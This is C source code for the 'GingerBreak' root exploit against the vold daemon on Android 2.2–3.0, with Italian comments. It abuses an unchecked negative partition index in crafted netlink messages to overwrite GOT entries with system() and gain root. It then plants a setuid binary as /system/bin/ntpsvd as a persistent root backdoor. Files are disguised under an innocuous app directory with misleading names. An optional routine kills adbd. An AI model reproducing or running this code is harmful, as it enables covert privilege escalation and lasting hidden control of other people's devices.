/* android 2.2-3.0 vold root exploit "mPartMinors[] (NPARTS) out of bounds write"
 * (checked for upper limit but not against negative values).
 *
 * Exploited by changing GOT entry of strcmp(),atoi() etc. to system()
 * and then triggering such call with provided pointer. :D
 * We nevermind NX protections and what they call ROP.
 *
 * (C) 2010-2011 The Android Exploid Crew
 *
 * Before using, insert empty formatted sdcard. USE IT AT YOUR OWN RISK, THIS PROGRAM
 * MIGHT NOT WORK OR MAKES YOUR DEVICE USELESS/BRICKED. SO BE WARNED!
 * I AM NOT RESPONSIBLE FOR ANY DAMAGE IT MIGHT CAUSE!
 *
 * It only works if called from adb shell since we need
 * group log. <-- Ahhahahaha come rido!!!!! Que - :D
 *
 */

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mount.h>
#include <sys/time.h>
#include <linux/netlink.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <signal.h>
#include <stdlib.h>
#include <math.h>
#include <dlfcn.h>
#include <elf.h>
#include <sys/system_properties.h>
#include <errno.h>
#include <jni.h>

#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <linux/ioctl.h>
#include <dirent.h>
#include <stdint.h>

#include <android/log.h>

#define ASHMEM_NAME_LEN         256
#define __ASHMEMIOC             0x77
#define ASHMEM_SET_NAME         _IOW(__ASHMEMIOC, 1, char[ASHMEM_NAME_LEN])
#define ASHMEM_GET_NAME         _IOR(__ASHMEMIOC, 2, char[ASHMEM_NAME_LEN])
#define ASHMEM_SET_SIZE         _IOW(__ASHMEMIOC, 3, size_t)
#define ASHMEM_GET_SIZE         _IO(__ASHMEMIOC, 4)
#define ASHMEM_SET_PROT_MASK    _IOW(__ASHMEMIOC, 5, unsigned long)
#define ASHMEM_GET_PROT_MASK    _IO(__ASHMEMIOC, 6)
#define ASHMEM_PIN              _IOW(__ASHMEMIOC, 7, struct ashmem_pin)
#define ASHMEM_UNPIN            _IOW(__ASHMEMIOC, 8, struct ashmem_pin)
#define ASHMEM_GET_PIN_STATUS   _IO(__ASHMEMIOC, 9)
#define ASHMEM_PURGE_ALL_CACHES _IO(__ASHMEMIOC, 10)

//#define LOG(x)  printf(x)
//#define LOG(x) logonfile(x)
#define LOG(x) logonout(x)

static struct {
	pid_t pid;
	uint32_t got_start, got_end;
	uint32_t system;
	char *device;
	char found;
} vold;

static pid_t logcat_pid = 69;

// La bash da runnare in caso ci serva una shell
static char *suidsh = "/data/data/com.android.networking/lib/libparse.so";

// L'exploit
static char *exploit = "/data/data/com.android.networking/files/statuslog";

// Il log dove logcat scrivera' lo stacktrace del crash
static char *crashlog = "/data/data/com.android.networking/files/errorlog";

// Checkfile: file che conferma che siamo diventati root
static char *checklog = "/data/data/com.android.networking/files/rdb";

// Applicazione che viene suiddata dall'exploit, che puo' essere invocata dal
static char *suidext = "/data/data/com.android.networking/files/statusdb";

static char *default_dev = "/devices/platform/msm_sdcc.2/mmc_host/mmc1";
static int scale = 1, honeycomb = 0, froyo = 0;

extern char **environ;

time_t timestamp = 0;

int logonout(char *msg) {
	if (!msg) {
		return;
	}

	if (timestamp == 0) {
		timestamp = time(NULL);
		printf("Timestamp : %d\n", timestamp);
	}

	// http://en.wikipedia.org/wiki/Time_t
	printf("%d %s", (time(NULL) - timestamp), msg);
	//printf("%s" , msg);
	return 0;
}

static int logonfile(const char *msg) {
	int fd;
	//char buf[0x1000];

	if ((fd = open("exploit.log", O_RDWR | O_CREAT, 0666)) < 0) {
		printf(msg);
		return -1;
	}

	write(fd, msg, strlen(msg));

	close(fd);

	return 0;
}

static void die(const char *msg) {
	char buf[2048];
	sprintf(buf, "[-] DIE: %s", msg);
	LOG(buf);

	exit(errno);
}

static int copy(const char *from, const char *to) {
	int fd1, fd2;
	char buf[0x1000];
	int r = 0;

	if ((fd1 = open(from, O_RDONLY)) < 0) {
		return -1;
	}

	if ((fd2 = open(to, O_RDWR | O_CREAT | O_TRUNC, 0600)) < 0) {
		close(fd1);
		return -1;
	}

	for (;;) {
		r = read(fd1, buf, sizeof(buf));

		if (r <= 0)
			break;

		if (write(fd2, buf, r) != r)
			break;
	}

	close(fd1);
	close(fd2);

	sync();
	sync();

	return r;
}

static int remount_data(const char *mntpoint) {
	FILE *f = NULL;
	int found = 0;
	char buf[1024], *dev = NULL, *fstype = NULL;

	if ((f = fopen("/proc/mounts", "r")) == NULL) {
		return -1;
	}

	memset(buf, 0, sizeof(buf));

	for (; !feof(f);) {
		if (fgets(buf, sizeof(buf), f) == NULL)
			break;

		if (strstr(buf, mntpoint)) {
			found = 1;
			break;
		}
	}

	fclose(f);

	if (!found) {
		return -1;
	}

	if ((dev = strtok(buf, " \t")) == NULL) {
		return -1;
	}

	if (strtok(NULL, " \t") == NULL) {
		return -1;
	}

	if ((fstype = strtok(NULL, " \t")) == NULL) {
		return -1;
	}

	return mount(dev, mntpoint, fstype, MS_REMOUNT, 0);
}

static int remount(const char *mntpoint, int flags) {
	FILE *f = NULL;
	int found = 0;
	char buf[1024], *dev = NULL, *fstype = NULL;

	if ((f = fopen("/proc/mounts", "r")) == NULL) {
		return -1;
	}

	memset(buf, 0, sizeof(buf));

	for (; !feof(f);) {
		if (fgets(buf, sizeof(buf), f) == NULL)
			break;

		if (strstr(buf, mntpoint)) {
			found = 1;
			break;
		}
	}

	fclose(f);

	if (!found) {
		return -1;
	}

	if ((dev = strtok(buf, " \t")) == NULL) {
		return -1;
	}

	if (strtok(NULL, " \t") == NULL) {
		return -1;
	}

	if ((fstype = strtok(NULL, " \t")) == NULL) {
		return -1;
	}

	return mount(dev, mntpoint, fstype, flags | MS_REMOUNT, 0);
}

static void *find_symbol(char *sym) {
	void *r = NULL;
	void *dlh = dlopen("/system/libc/libc.so", RTLD_NOW);

	if (!dlh) {
		die("[-] dlopen");
	}

	if ((r = (void *) dlsym(dlh, sym)) == NULL) {
		die("[-] dlsym");
	}

	dlclose(dlh);

	return r;
}

static void find_got(char *file) {
	int fd, i;
	Elf32_Ehdr ehdr;
	Elf32_Phdr phdr;
	Elf32_Dyn *dyn = NULL;
	size_t dyn_size = 0;
	char buf[256];

	memset(&ehdr, 0, sizeof(ehdr));
	memset(&phdr, 0, sizeof(phdr));

	if ((fd = open(file, O_RDONLY)) < 0) {
		die("[-] open");
	}

	if (read(fd, &ehdr, sizeof(ehdr)) != sizeof(ehdr)) {
		die("[-] read");
	}

	if (lseek(fd, ehdr.e_phoff, SEEK_SET) != ehdr.e_phoff) {
		die("[-] lseek");
	}

	for (i = 0; i < ehdr.e_phnum; ++i) {
		if (read(fd, &phdr, sizeof(phdr)) != sizeof(phdr)) {
			die("[-] read");
		}

		if (phdr.p_type == PT_DYNAMIC) {
			break;
		}
	}

	if (phdr.p_type != PT_DYNAMIC) {
		die("[-] No GOT found!");
	}

	if (lseek(fd, phdr.p_offset, SEEK_SET) != phdr.p_offset) {
		die("[-] lseek");
	}

	dyn_size = phdr.p_filesz;

	sprintf(buf, "[+] Found PT_DYNAMIC of size %d (%d entries)\n", dyn_size,
			dyn_size / sizeof(Elf32_Dyn));

	LOG(buf);

	if ((dyn = malloc(dyn_size)) == NULL) {
		die("[-] malloc");
	}

	if (read(fd, dyn, dyn_size) != dyn_size) {
		die("[-] read");
	}

	close(fd);

	for (i = 0; i < dyn_size / sizeof(Elf32_Dyn); ++i) {
		if (dyn[i].d_tag == DT_PLTGOT) {
			break;
		}
	}

	if (dyn[i].d_tag != DT_PLTGOT) {
		die("[-] No GOT found!");
	}

	vold.got_start = dyn[i].d_un.d_ptr;
	free(dyn);

	/* Not really the end, but who cares, 64 entries should be enough
	 */
	vold.got_end = vold.got_start + scale * 64;

	sprintf(buf, "[+] Found GOT: 0x%08x\n", vold.got_start);
	LOG(buf);
}

static void find_device() {
	char buf[1024], *dev = NULL, *sp = NULL;
	FILE *f;

	if ((f = fopen("/etc/vold.fstab", "r")) == NULL) {
		if ((f = fopen("/system/etc/vold.fstab", "r")) == NULL) {
			LOG("[-] No vold.fstab found. Using default.\n");
			vold.device = strdup(default_dev);

			return;
		}
	}

	for (; !feof(f);) {
		memset(buf, 0, sizeof(buf));

		if (!fgets(buf, sizeof(buf), f)) {
			break;
		}

		if (buf[0] == '#') {
			continue;
		}

		if (strstr(buf, "dev_mount") && (dev = strstr(buf, "/devices/"))) {
			break;
		}
	}

	fclose(f);

	if (!dev) {
		LOG("[-] No device found. Using default.\n");
		vold.device = strdup(default_dev);
	} else {
		if ((sp = strchr(dev, ' '))) {
			*sp = 0;
			vold.device = strdup(dev);
		} else if ((sp = strchr(dev, '\n'))) {
			*sp = 0;
			vold.device = strdup(dev);
		} else {
			LOG("[-] No device found. Using default.\n");
			vold.device = strdup(default_dev);
		}
	}

	sprintf(buf, "[+] Using device %s\n", vold.device);
	LOG(buf);
}

static void find_vold() {
	char buf[2048], *ptr = NULL;
	int i = 0, fd;
	pid_t found = 0;
	FILE *f = NULL;

	vold.found = 0;

	if ((f = fopen("/proc/net/netlink", "r")) == NULL) {
		die("[-] fopen");
	}

	for (; !feof(f);) {
		memset(buf, 0, sizeof(buf));

		if (!fgets(buf, sizeof(buf), f)) {
			break;
		}

		if ((ptr = strtok(buf, "\t ")) == NULL) {
			break;
		}

		if ((ptr = strtok(NULL, "\t ")) == NULL) {
			break;
		}

		if ((ptr = strtok(NULL, "\t ")) == NULL) {
			break;
		}

		if (!*ptr) {
			break;
		}

		i = atoi(ptr);

		if (i <= 1) {
			continue;
		}

		sprintf(buf, "/proc/%d/cmdline", i);

		if ((fd = open(buf, O_RDONLY)) < 0) {
			continue;
		}

		memset(buf, 0, sizeof(buf));
		read(fd, buf, sizeof(buf) - 1);
		close(fd);

		if (strstr(buf, "/system/bin/vold")) {
			found = i;
			break;
		}
	}

	fclose(f);

	if (!found) {
		return;
	}

	vold.pid = found;
	vold.found = 1;

	/* If already called no need to look for the mappings again as
	 * they wont change
	 */
	if (vold.system) {
		return;
	}

	ptr = find_symbol("system");
	vold.system = (uint32_t) ptr;

	sprintf(buf, "[+] Found system: %p strcmp: %p\n", ptr,
			find_symbol("strcmp"));
	LOG(buf);

	return;
}

/* Needed to make it work on 2.2 too
 */
static int last_try() {
	char buf[0x1000];
	struct sockaddr_nl snl;
	struct iovec iov = { buf, sizeof(buf) };
	struct msghdr msg = { &snl, sizeof(snl), &iov, 1, NULL, 0, 0 };
	int sock = -1, n = 0;

	LOG("[*] Last try attempt\n");

	do {
		find_vold();
		usleep(10000);
	} while (!vold.found);

	memset(buf, 0, sizeof(buf));
	memset(&snl, 0, sizeof(snl));
	snl.nl_family = AF_NETLINK;

	if ((sock = socket(PF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT)) < 0) {
		die("[-] socket");
	}

	snl.nl_pid = vold.pid;

	memset(buf, 0, sizeof(buf));

	// messaggi per generare int overflow
	n = snprintf(buf, sizeof(buf), "@/foo%cACTION=add%cSUBSYSTEM=block%c"
		"DEVPATH=%s%c"
		"MAJOR=179%cMINOR=%d%cDEVTYPE=harder%cPARTN=1", 0, 0, 0, exploit, 0, 0,
			vold.system, 0, 0);

	msg.msg_iov->iov_len = n;
	n = sendmsg(sock, &msg, 0);

	if (n < 0) {
		LOG("[-] sendmsg() last_try() failed\n");
	}

	sleep(3);
	close(sock);
	return 0;
}

static int do_fault(uint32_t idx, int oneshot) {
	char buf[0x1000];
	struct sockaddr_nl snl;
	struct iovec iov = { buf, sizeof(buf) };
	struct msghdr msg = { &snl, sizeof(snl), &iov, 1, NULL, 0, 0 };
	int sock = -1, n = 0;

	do {
		find_vold();
		usleep(10000);
	} while (!vold.found);

	usleep(200000);
	memset(buf, 0, sizeof(buf));
	memset(&snl, 0, sizeof(snl));
	snl.nl_family = AF_NETLINK;

	if ((sock = socket(PF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT)) < 0) {
		die("[-] socket");
	}

	snl.nl_pid = vold.pid;

	memset(buf, 0, sizeof(buf));
	n = snprintf(buf, sizeof(buf), "@/foo%cACTION=add%cSUBSYSTEM=block%c"
		"DEVPATH=%s%c"
		"MAJOR=179%cMINOR=%d%cDEVTYPE=harder%cPARTN=%d", 0, 0, 0, vold.device,
			0, 0, vold.system, 0, 0, -idx);

	msg.msg_iov->iov_len = n;

	n = sendmsg(sock, &msg, 0);

	if (n < 0 || oneshot) {
		close(sock);

		sprintf(buf, "[-] sendmsg() [1] failed, error: %d\n", errno);
		LOG(buf);
		return n;
	}

	usleep(500000);

	/* Trigger any of the GOT overwriten strcmp(), atoi(), strdup() etc.
	 * inside vold main binary.
	 * Arent we smart? Using old school technique from '99 to fsck NX while others
	 * re-invent "ROP". Wuhahahahaha!!!
	 */
	if (honeycomb) {
		n = snprintf(buf, sizeof(buf), "@/foo%cACTION=add%cSUBSYSTEM=block%c"
			"SEQNUM=%s%cDEVPATH=%s%c"
			"MAJOR=%s%cMINOR=%s%cDEVTYPE=%s%cPARTN=1", 0, 0, 0, exploit, 0,
				exploit, 0, exploit, 0, exploit, 0, exploit, 0);
	} else if (froyo) {
		n = snprintf(buf, sizeof(buf), "@/foo%cACTION=add%cSUBSYSTEM=block%c"
			"DEVPATH=%s%c"
			"MAJOR=179%cMINOR=%d%cDEVTYPE=harder%cPARTN=1", 0, 0, 0, exploit,
				0, 0, vold.system, 0, 0);
	} else {
		n = snprintf(buf, sizeof(buf), "%s;@%s%cACTION=%s%cSUBSYSTEM=%s%c"
			"SEQNUM=%s%cDEVPATH=%s%c"
			"MAJOR=179%cMINOR=%d%cDEVTYPE=harder%cPARTN=1", exploit, exploit,
				0, exploit, 0, exploit, 0, exploit, 0, exploit, 0, 0,
				vold.system, 0, 0);
	}

	msg.msg_iov->iov_len = n;
	n = sendmsg(sock, &msg, 0);

	if (n < 0) {
		LOG("[-] sendmsg() [2] failed\n");
	}

	close(sock);

	return n;
}

// si potrebbe leggerlo da java
// http://www.androidsnippets.com/how-to-capture-application-log
static uint32_t find_index() {
	uint32_t min = 0, max = vold.got_start, fault_addr = 0, idx = 0;
	char buf[1024], *ptr = NULL;
	FILE *f = NULL;
	long pos = 0;

	system("/system/bin/logcat -c");
	LOG("[*] unlinking crashlog");
	int ret = unlink(crashlog);
	if (ret == -1) {
		LOG("[-] Error unlinking");
	}

	if ((logcat_pid = fork()) == 0) {
		FILE *cr = fopen(crashlog, "w");

		if (cr != NULL) {
			chmod(crashlog, 0666);
			fclose(cr);
			printf("[*] Success open and chmod\n");
		} else {
			printf("[-] Error: %d file: %s\n", errno, crashlog);
		}

		char *a[] = { "/system/bin/logcat", "-f", crashlog, NULL };

		execve(*a, a, environ);
		exit(1);
	}

	sleep(3);

	idx = scale * 0x1000 / 4;

	for (;;) {
		if (do_fault(idx, 1) < 0) {
			continue;
		}

		/* Give logcat time to write to file
		 */
		sleep(3);

		if ((f = fopen(crashlog, "r")) == NULL) {
			die("[-] Unable to open crashlog file");
		}

		fseek(f, pos, SEEK_SET);

		do {
			memset(buf, 0, sizeof(buf));

			if (!fgets(buf, sizeof(buf), f)) {
				break;
			}

			if ((ptr = strstr(buf, "fault addr ")) != NULL) {
				ptr += 11;
				fault_addr = (uint32_t) strtoul(ptr, NULL, 16);

				sprintf(buf, "[*] vold: %04d idx: %d fault addr: 0x%08x\n",
						vold.pid, -idx, fault_addr);
				LOG(buf);
			}
		} while (!feof(f));

		pos = ftell(f);
		fclose(f);

		if (fault_addr > min && fault_addr < max) {
			sprintf(buf, "[+] fault address in range (0x%08x,idx=%d)\n",
					fault_addr, -idx);
			LOG(buf);
			break;
		}

		idx += 0x1000 / 4;
	}

	// Honeycomb needs scaling by 10
	idx = (fault_addr + 4 * idx - vold.got_start) / 4;

	if (scale > 1) {
		idx = scale * (fault_addr + 4 * idx / scale - vold.got_start) / 4;
	}

	sprintf(buf, "[+] Calculated idx: %d\n", -idx);
	LOG(buf);
	return idx;
}

static void do_root() {
	char buf[128];

	remount_data("/data");
	//chown(sh, 0, 0);
	//chmod(sh, 04711);

	sprintf(buf, "Exploit Status: EUID: %d, UID: %d\n", geteuid(), getuid());
	LOG(buf);

	FILE *fw = fopen(checklog, "w");

	// scrive in rdb che l'exploit e' avvenuto. Java usa questo file per saperlo.
	if (fw != NULL) {
		LOG("Scrivo nel file\n");
		fwrite(buf, strlen(buf), 1, fw);
		fclose(fw);
	} else {
		sprintf(buf, "Fopen failed: %d\n", errno);
		LOG(buf);
	}

	// suidshell
	if (chown(suidext, 0, 0) < 0) {
		sprintf(buf, "Chown failed: %d\n", errno);
		LOG(buf);
	}

	if (chmod(suidext, 04755) < 0) {
		sprintf(buf, "Chmod failed: %d\n", errno);
		LOG(buf);
	}

	// Spostiamo la nostra "shell" in /system/bin/ntpsvd
	remount("/system", 0); // RW
	system(
			"/system/bin/cp /data/data/com.android.networking/files/statusdb /system/bin/ntpsvd");
	//system("/system/bin/dd if=/data/data/com.android.networking/files/statusdb of=/system/bin/ntpsvd2");
	chown("/system/bin/ntpsvd", 0, 0);
	chmod("/system/bin/ntpsvd", 04755);
	remount("/system", MS_RDONLY);
	sync();

	exit(0);
}

int already_rooted() {
	char buf[256];
	struct stat sustat;
	int status;

	int fildes = open("/system/bin/su", O_RDWR);
	status = fstat(fildes, &sustat);
	close(fildes);

	mode_t mode = sustat.st_mode;
	uid_t uid = sustat.st_uid;
	gid_t gid = sustat.st_gid;
	off_t size = sustat.st_size;

	int executable = (mode & S_IXOTH) && (mode & S_IROTH);
	int suidded = (mode & S_ISUID);
	int root = uid == 0;
	int regular = S_ISREG(mode);

	sprintf(buf, "[*] executable: %d suidded: %d root: %d regular: %d\n",
			executable, suidded, root, regular);
	LOG(buf);

	return executable && suidded && root && regular;
}

void gingerBreak() {

	uint32_t i = 0, j = 0, idx = 0;
	char *ash[] = { suidsh, 0 };
	struct stat st;
	char build_id[256], version_release[256];
	char buf[256];

	LOG("\n[**] android 2.[2,3], 3.0 softbreak\n");

	//if (copy("/proc/self/exe", exploit) < 0 || copy("/system/bin/sh", sh) < 0)
	//	die("[-] Cannot copy boomsh.");

	chmod(exploit, 0711);

	find_vold(&vold);
	find_got("/system/bin/vold");
	find_device();

	sprintf(buf, "[*] vold: %04d GOT start: 0x%08x GOT end: 0x%08x\n",
			vold.pid, vold.got_start, vold.got_end);

	LOG(buf);

	idx = find_index();

	LOG("[+] kill logcat");
	kill(logcat_pid, SIGKILL);
	unlink(crashlog);

	for (i = idx; j++ < (vold.got_end - vold.got_start); --i) {
		if (do_fault(i, 0) < 0) {
			++i;
			--j;
			LOG("[-] sendmsg() failed?\n");

			continue;
		}

		sprintf(buf, "[*] vold: %04d idx: %08d\n", vold.pid, -i);
		fflush(stdout);
		LOG(buf);

		// Abbiamo una shell da avviare?
		if (stat(suidsh, &st) == -1) {
			//sprintf(buf, "[-] stat() [1] failed: %d\n", errno);
			//LOG(buf);
		}

		if ((st.st_mode & 04000) == 04000) {
			LOG("[!] dance forever my only one\n");
			break;
		}
	}

	/* Last try, sometimes vold cant handle 2 receives in the order
	 * we like by do_fault()
	 */
	if ((st.st_mode & 04000) != 04000) {
		last_try();
		last_try();

		if (stat(suidsh, &st) == -1) {
			sprintf(buf, "[-] stat() [2] failed: %d\n", errno);
			LOG(buf);
		}

		if ((st.st_mode & 04000) == 04000) {
			LOG("\n[+] You are in luck! Last try succeeded!\n");
		} else {
			LOG("[-] Bad luck. Fixed vold?\n");
			exit(1);
		}
	}

	execve(*ash, ash, environ);
	return;
}

#ifdef EX_PSNEUTER
int psneuter() {
	char *workspace;
	char *fdStr;
	char *szStr;

	char *ppage;

	int fd;
	long sz;

	DIR *dir;
	struct dirent *dent;
	char cmdlinefile[PATH_MAX];
	char cmdline[PATH_MAX];
	chat buffer[256];

	pid_t adbdpid = 0;

	setvbuf(stdout, 0, _IONBF, 0);
	setvbuf(stderr, 0, _IONBF, 0);

	workspace = getenv("ANDROID_PROPERTY_WORKSPACE");

	if (!workspace) {
		LOG("Couldn't get workspace.\n");
		return (1);
	}

	fdStr = workspace;
	if (strstr(workspace, ",")) {
		*(strstr(workspace, ",")) = 0;
	} else {
		LOG("Incorrect format of ANDROID_PROPERTY_WORKSPACE environment variable?\n");
		return (1);
	}
	szStr = fdStr + strlen(fdStr) + 1;

	fd = atoi(fdStr);
	sz = atol(szStr);

	if ((ppage = mmap(0, sz, PROT_READ, MAP_SHARED, fd, 0)) == MAP_FAILED) {
		sprintf(buffer, "mmap() failed. %s\n", strerror(errno));
		LOG(buffer);
		return (1);
	}

	if (ioctl(fd, ASHMEM_SET_PROT_MASK, 0)) {
		sprintf(buffer, "Failed to set prot mask (%s)\n", strerror(errno));
		LOG(buffer);
		return (1);
	}

	LOG("property service neutered.\n");
	LOG("killing adbd. (should restart in a second or two)\n");

	// now kill adbd.

	dir = opendir("/proc");
	if (!dir) {
		sprintf(buffer, "Failed to open /proc? kill adbd manually... somehow\n");
		LOG(buffer);
		return (1);
	}
	while ((dent = readdir(dir))) {
		if (strspn(dent->d_name, "0123456789") == strlen(dent->d_name)) {
			// pid dir
			strcpy(cmdlinefile, "/proc/");
			strcat(cmdlinefile, dent->d_name);
			strcat(cmdlinefile, "/cmdline");
			if ((fd = open(cmdlinefile, O_RDONLY)) < 0) {
				sprintf(buffer, "Failed to open cmdline for pid %s\n",
						dent->d_name);
				LOG(buffer);
				continue;
			}
			if (read(fd, cmdline, PATH_MAX) < 0) {
				sprintf(buffer, "Failed to read cmdline for pid %s\n",
						dent->d_name);
				LOG(buffer);
				close(fd);
				continue;
			}
			close(fd);
			//	    printf("cmdline: %s\n", cmdline);
			if (!strcmp(cmdline, "/sbin/adbd")) {
				// we got it.
				adbdpid = atoi(dent->d_name);
				break;
			}
		}
	}

	if (!adbdpid) {
		sprintf(buffer, "Failed to find adbd pid :(\n");
		LOG(buffer);
		return (1);
	}

	if (kill(adbdpid, SIGTERM)) {
		sprintf(buffer, "Failed to kill adbd (%s)\n", strerror(errno));
		LOG(buffer);
		return (1);
	}
	return (0);
}
#endif

int main(int argc, char **argv, char **env) {
	char build_id[256], version_release[256];
	// se viene chiamato da vold crashato...
	if (geteuid() == 0 && getuid() == 0 /*&& strstr(argv[0], "boomsh")*/) {
		do_root();
		return;
	}

	LOG(__TIME__);
	LOG(" ");
	LOG(__DATE__);

	if (argc == 1) {
		__system_property_get("ro.build.id", build_id);
		__system_property_get("ro.build.version.release", version_release);

		if (strstr(build_id, "HONEY") || strstr(build_id, "Honey") || strstr(
				build_id, "honey") || strstr(version_release, "comb")) {
			LOG("[+] Detected honeycomb! Starting honeybomb mode (scale=10).\n"); //3.0
			scale = 10;
			honeycomb = 1;
		} else if (strstr(build_id, "FR") || strstr(build_id, "Fr") || strstr(
				build_id, "fr")) {
			LOG("[+] Detected Froyo!\n"); //2.2
			froyo = 1;
		} else if (strstr(build_id, "EC") || strstr(build_id, "Ec") || strstr(
				build_id, "ec")) {
			LOG("[+] Detected Eclair!\n"); //2.0, 2.1
		} else {
			LOG("[+] Plain Gingerbread mode!\n"); //2.0
		}

		gingerBreak();
		//system("/data/data/com.android.networking/files/statusdb 1");
		return;
	}

#ifdef EX_PSNEUTER
	if(argc<=2){
		psneuter();
		system("/data/data/com.android.networking/files/statusdb 2 2");
		return;
	}
#endif

#ifdef EX_SU
	if (argc<=3 && already_rooted()) {
		LOG("[+] Detected root su!");
		system(
				"/system/bin/su -c /data/data/com.android.networking/files/statusdb 3 3 3");
		return;
	}
#endif

	else{
		LOG("[-] Something went wrong.");
	}
}
